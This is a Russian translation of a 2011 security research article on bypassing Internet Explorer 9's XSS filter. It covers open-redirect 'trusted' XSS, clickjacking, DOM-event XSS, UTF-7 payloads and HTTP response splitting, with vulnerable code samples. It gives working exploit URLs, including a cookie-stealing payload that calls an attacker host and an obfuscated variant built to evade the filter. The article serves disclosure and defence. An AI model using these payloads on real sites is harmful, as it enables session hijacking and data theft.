04.10.2011

Обход XSS фильтра в Internet Explorer

image

В Internet Explorer 9 по умолчанию  встроена система безопасности, предотвращающая отраженные XSS атаки. На сегодняшний момент известно множество недостатков этой системы. Основной недостаток заключается в отсутствии защиты от хранимых XSS и основанных на DOM XSS атаках.

Автор: Michael Brooks (mike (at) sitewat.ch)

Введение

В Internet Explorer 9 по умолчанию встроена система безопасности, предотвращающая отраженные XSS атаки. На сегодняшний момент известно множество недостатков этой системы. Основной недостаток заключается в отсутствии защиты от хранимых XSS и основанных на DOM XSS атаках. Система безопасности Internet Explorer расcчитана только на прямую или отраженную XSS атаку [1]. В этой статье описано три примера атак, подрывающие возможность Internet Explorer противостоять отраженному XSS. Данные примеры атак являются общими, независимо от платформы Веб-приложений.

Принцип атаки

Система безопасности защищает от XSS атак прямого действия, в то время как пользователь подвергается более сложным атакам. Более сложное эксплуатирование уязвимости совсем не означает невозможность взлома. Время от времени мы видим, как злоумышленники сталкиваются с новыми сложностями и пытаются преодолеть их для эксплуатации уязвимости. Хорошим примером являются ASLR(Address pace layout randomization) и технология предотвращения выполнения данных (DEP). Злоумышленники перестали писать эксплойты повреждения памяти, т.к. система стала более сложной. Они просто находят обход. Например, была разработана ROP для поражения ASLR. Подобные универсальные системы безопасности не решают суть проблемы. В прошлом использование XSS было достаточно простым, но со временем становится сложнее применятье XSS атаки . Скоро все браузеры будут содержать включенный по умолчанию XSS фильтр, в результате потребуется больше усилий для поражения систем.

“Доверенный” XSS

Перед тем как фильтр отраженного XSS в Internet Explorer обработает исходящий HTTP запрос, он проверит, откуда пришел запрос. Чтобы злоумышленник мог применить отраженную XSS атаку, запрос должен происходить от веб-сайта злоумышленника. Таким образом, нет смысла рассматривать запросы, отправленные с того же домена, т.к. это простая трата ресурсов. В дополнении ко всему плохо написанное приложение может выполнить JavaScript или отобразить HTML, содержащиеся в HTTP запросе. Нарушение совместимости с существующим ПО может сделать систему безопасности ненадежной.

Однако IE делает неверное предположение: XSS может приходить от любого источника. Таким образом, вследствие этого предположения отраженная XSS атака может стать эксплуатируемой. Злоумышленник может обмануть систему, используя Unvalidated redirects and forwards OWASP a10[2]. Такая уязвимость также называется Open Redirect (CWE-601). Не все методы Open Redirect подходят для создания “доверенной” начинки XSS IE использует редирект в HTTP заголовке “location:” так же, как и при использовании HTML тега meta refresh. Для атаки могут использоваться и другие методы перенаправления.

Теперь предположим существование прямой XSS уязвимости в нашем приложении в файле xss.php:

<?php
//xss.php
print $_GET[‘var’];
?>

Предположим, что в файле redir.php найдена ошибка OWASP a10.

<?php
//redir.php
print “<script>”;
print “document.location=’”.htmlspecialchars($GET[‘redir’],ENT_QUOTES).”’”;
print “</script>”;
?>

Пример эксплойта для подобного приложения:

http://victim/redir.php?redir=http%3A%2F%2Fvictim%2Fxss.php%3Fvar%3D%253Cscript %253Ealert%2528%2Fxss%2F%2529%253C%2Fscript%253E

Подобная ссылка может происходить откуда угодно, включая сервисы сокращения URL адреса. XSS начинкой является GET переменная “var”. Эта часть содержит дважды закодированный URL. Угловая скобка “<” заменяется на “%253E”. Эта замена обманывает htmlspecialchars() на сервере и фильтр Internet Explorer. Данная закодированная начинка не затрагивается вызовом к htmlspecialchars(). Поведение будет таким же, как и при ее отсутствии. В соответствии с RFC 1738 все “небезопасные” символы, такие как угловые скобки должны быть закодированы в URL адресе. Таким образом любое веб-приложение, совместимое со стандартами будет полагаться на RFC и декодировать всю информацию, введенную пользователем, до того как она достигнет веб-приложения. Запрос к redir.php выполнит декодирование URL и этот файл запишет начинку в страницу. Закодированная ссылка перенаправления была бы идентифицирована в качестве XSS начинки в Internet Explorer, если бы она происходила от другого домена. Но сейчас она происходит с этого же домена и является доверенной.

Вот короткий список методов перенаправления в JavaScript:

document.location=""
location.replace("")
window.location.hrеf=""
window.location.replace("")

Другие методы “доверенного” XSS

Теперь рассмотрим влияние "<а Hrеf=>", управляемого злоумышленником. Данный тип поведения является наиболее распространенным в веб-приложениях. Для примера возьмем Wiki, где пользователи выкладывают ссылки и другой контент. Или другим образцом является форум, где пользователь может указать домашнюю страницу в своем профиле, или добавить ссылки в сообщение. Приложение, имеющее эти возможности, не может быть защищено XSS фильтром IE, за исключением ситуаций, когда само приложение имеет защиту от захвата кликов (Clickjacking).

Представим, что следующая ссылка будет записана на странице жертвы в файле link.php:

<a id=my_link Hrеf=http://victim/xss.php?var=%3Cscript%3Ealert(/xss/)%3C/script%3E">link</a>

Для того чтобы сработала эта атака, жертва должна кликнуть по ссылке злоумышленника. Для этого можно использовать Clickjacking. Требование клика по ссылке для задействования XSS возникает в других ситуациях, как например отравление onclick DOM события. Такая атака называется “Захват событий” (Eventjacking). Она рассматривается 2 в статье “UI Redressing” [3 в разделе 2.]. Хотя эта атака на XSS фильтр Internet Explorer не использует DOM событие на сайте жертвы, метод эксплуатирования уязвимости аналогичен. Злоумышленник может создать iframe на подконтрольном веб-сайте:

<iframe src=http://victim/link.php#my_link/>

Затем этот iframe делается невидимым при помощи SVG маски. Невидимый iframe может отслеживать положение курсора пользователя при помощи javascript. Оба этих метода описаны в статье “UI Redressing” в разделах2.2.7 и 2.1.5 соответственно. В результате, где бы ни кликнул пользователь на сайте злоумышленника, будет выполнена XSS начинка внутри iframe. Internet Explorer верит в происхождение начинки от того же домена, следовательно начинка обходит XSS фильтр IE.

XSS через DOM события

Преобразование небезопасных символов в HTML не всегда защищает приложение от XSS. Проблема возникает при записи кодированного вывода HTML внутри DOM события. Все браузеры сначала выполнят декодирование HTML перед выполнением DOM события. Пример этой атаки хорошо известен и описан в “It’s a DOM event”[4]. Не следует путать с XSS DOM уязвимостью, вызванной небезопасной работой JavaScript. Ирония заключается в том, что программист пытается предотвратить XSS, используя HTML сущности, в то время как XSS становится эксплуатируемым, несмотря на XSS фильтр в Internet Explorer:

Давайте рассмотрим код, подверженный XSS уязвимости вследствие DOM события. Следует обратить внимание на необходимость вызова функции htmlspecialchars для обхода фильтра IE:

<?php  
//event.php  
print "<img src=https://sitewat.ch/UserInterface/images/Sitewatch_logo.png"
onload=\"v='".htmlspecialchars($_GET['event'],ENT_QUOTES)."'; \">";
?>

Этот код работает так, как будто XSS фильтра IE не существует:

http://victim/event.php?event=%27%2balert%281%29%2b%27

XSS в UTF-7 кодировке

XSS с кодировкой UTF-7 имеет несколько интересных свойств. Закодированный в UTF-7 XSS работает несмотря на применение HTML сущностей, поскольку не использует угловые скобки[5]. Однако, UTF-7 была создана для SMTP протокола. Internet Explorer является одним из немногих браузеров, поддерживающим кодировку UTF-7. В старых версиях Internet Explorer производился поиск в content-type. При обнаружении UTF-7 внутри первых 1400 байт, страница отображалась в UTF-7 кодировке. В настоящий момент данная проблема исправлена[6].

Приведем образец этой уязвимости. Вызов функции htmlspecialchars не требуется. Она просто демонстрирует проблему с кодировкой UTF-7.

<?php
//utf7.php   
session_start();   
header('Content-Type: text/html; charset=UTF-7');   
print(htmlspecialchars($_GET['utf7']));
?>

Этот простой пример обхода XSS фильтра IE является строкой <script>alert(/xss/)</script>, закодированной в UTF-7:

Http://victim/utf7.php?utf7=%2BADw-script%2BAD4-alert(/xss/)%2BADsAPA-%2Fscript%2BAD4

Данный пример является незавершенным. Даже если вы сможете выполнить JavaScript, нужно будет обойти другие фильтры. Существует фильтр, производящий поиск соединения cookie браузера со строкой: “+document.cookie+”.

Эта часть фильтра IE вызовет проблемы с начинкой, даже если злоумышленник сможет выполнить JavaScript:

document.write(“<img src=http://attacker/cookie.php?c>=”+document.cookie+”>”);

Тем не менее, мы можем избежать такойпоследовательности символов в нашей начинке и получить cookie жертвы, несмотря на данные ограничения. Этот тип кодирования необязателен для "доверенных” начинок:

http://localhost/utf7.php?utf7=%2BADw-script%2BAD4-document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,104,116,116,112,58,47,47,115 ,105,116,101,119,97,116,99,104,47,113,97,47,99,111,111,107,105,101,46,112,104,112,47).concat(docu ment.cookie).concat(String.fromCharCode(20,47,62)))%2BADsAPA-%2Fscript%2BAD4

UTF-7 + HTTP Response Splitting

Сейчас использование кодировки UTF-7 любым веб-приложением наименее вероятно. В конце концов, она не предназначена для HTTP. Однако используя HTTP Response Splitting, становится возможной смена кодировки на UTF-7. Следующий образец использует mod_python. Следует заметить, что PHP исправили функцию header(). Таким образом, CRLF инъекция невозможна. Старые версии PHP и другие платформы до сих пор страдают от уязвимости HTTP Response Splitting.

Представим ситуацию, в которой жертва выполняет следующий код, подверженный уязвимости HTTP Response Splitting:

#crlf.py
from mod_python import apache
from cgi import escape
from urllib import unquote

def handler(req):       
req.content_type = "text/html"       
url=req.args.split("=",1)[1]       
url=unquote(url)       
req.headers_out.add('test', url )       
req.send_http_header()       
req.write('Hello!')       
return apache.OK

Приведенный ниже пример использует HTTP Response Splitting для XSS атаки.

http://vicitim/crlf.py?url=%0D%0AContent-Type:%20text/html;%20charset=UTF-7%0D%0AContent-Length:%20299%0D%0A%0D%0A%2BADw-script%2BAD4-alert%28/xss/%29%2BADsAPA-%2Fscript%2BAD4

Ниже приведен соответствующий HTTP заголовок описанного эксплойта. Часть HTTP запроса, соответствующего атаке, выделена синим:

Данный рисунок является доказательством XSS атаки на Internet Explorer. Злоумышленник по-прежнему может изменить кодировку, используя HTTP Response Splitting (CWE-113), выполнив UTF-7 XSS начинку.

Решения

Все уязвимости, описанные в этой статье, могут быть устранены. Первая проблема заключается в том, что ни одна XSS начинка не должна быть доверенной и неважно, откуда она происходит. Плагин NoScript для Firefox также имеет XSS фильтр, не предполагающий “Доверенные” XSS. Для сохранения совместимости IE должен разрешить задание доверенного подмножества HTML через HTTP запрос. Проект HTML Purifier[7] - это HTML фильтр, выполняющий данную задачу. HTML Purifier имеет некоторые проблемы безопасности [8], и такой подход имеет свои недостатки. Internet Explorer должен производить проверку DOM событий на предмет XSS начинок до их выполнения. Internet Explorer выполняет декодирование HTML, активируя XSS начинку злоумышленника. Последняя проблема заключается в UTF-7. Как и многие другие браузеры IE мог бы отказаться от поддержки UTF-7. В конце концов, эта кодировка не предназначена для HTTP. В любом случае, если Internet Explorer продолжает поддержку данной кодировки, должны быть предприняты меры по защите от описанного выше метода.

Заключение

Данная статья перед публикацией была отправлена в компанию Microsoft для ознакомления. Представители Microsoft заявили о несоответствии таких атак их политикебезопасности и отказались от исправления. Могут быть использованы все уязвимости, описанные в этой статье. 5 лет назад после обнаружения уязвимости Drag and Drop в Internet Explorer появился термин “Clickjacking”[9]. Уязвимость Clickjacking позволяла злоумышленнику произвести удаленное выполнение кода на полностью исправленной версии Internet Explorer. ВМинистерстве национальной безопасности США эта уязвимость была признана настолько серьезной, что получила уровень опасности 28.12 и была занесена в список 500 наиболее опасных уязвимостей[10]. Несмотря на простоту исправления уязвимости, Microsoft понадобилось более двух лет для признания самого факта угрозы. Теперь, 8 лет спустя, Cilckjacking до сих пор используется для подрыва систем безопасности в Internet Explorer, и Microsoft до сих пор не желает признавать факт слабости их программного обеспечения.

Ссылки

  1. David Ross -IE8 XSS Filter design philosophy in-depth.
  2. http://blogs.msdn.com/b/dross/archive/2008/07/03/ie8-xss-filter-design-philosophy-in-depth.aspx
  3. OWASP a10 -https://www.owasp.org/index.php/Top_10_2010-A10-Unvalidated_Redirects_and_Forwards
  4. Marcus Niemietz - UI Redressing: Attacks and Countermeasures Revisited
  5. http://ui-redressing.mniemietz.de/
  6. Jason Calvert - Its a DOM Event https://blog.whitehatsec.com/its-a-dom-event/
  7. Chris Shiflett - UTF7 XSS http://shiflett.org/blog/2005/dec/google-xss-example
  8. Codepage Sniffing -http://msdn.microsoft.com/en-us/library/dd565635%28v=vs.85%29.aspx
  9. HTML Purifier -http://htmlpurifier.org/
  10. Vulnerabilities in HTML Purifier -http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=html+purifier
  11. IE Drag and Drop vulnerability -http://secunia.com/advisories/12321/
  12. Vulnerability Note VU#413886 -http://www.kb.cert.org/vuls/id/413886
comments powered by Disqus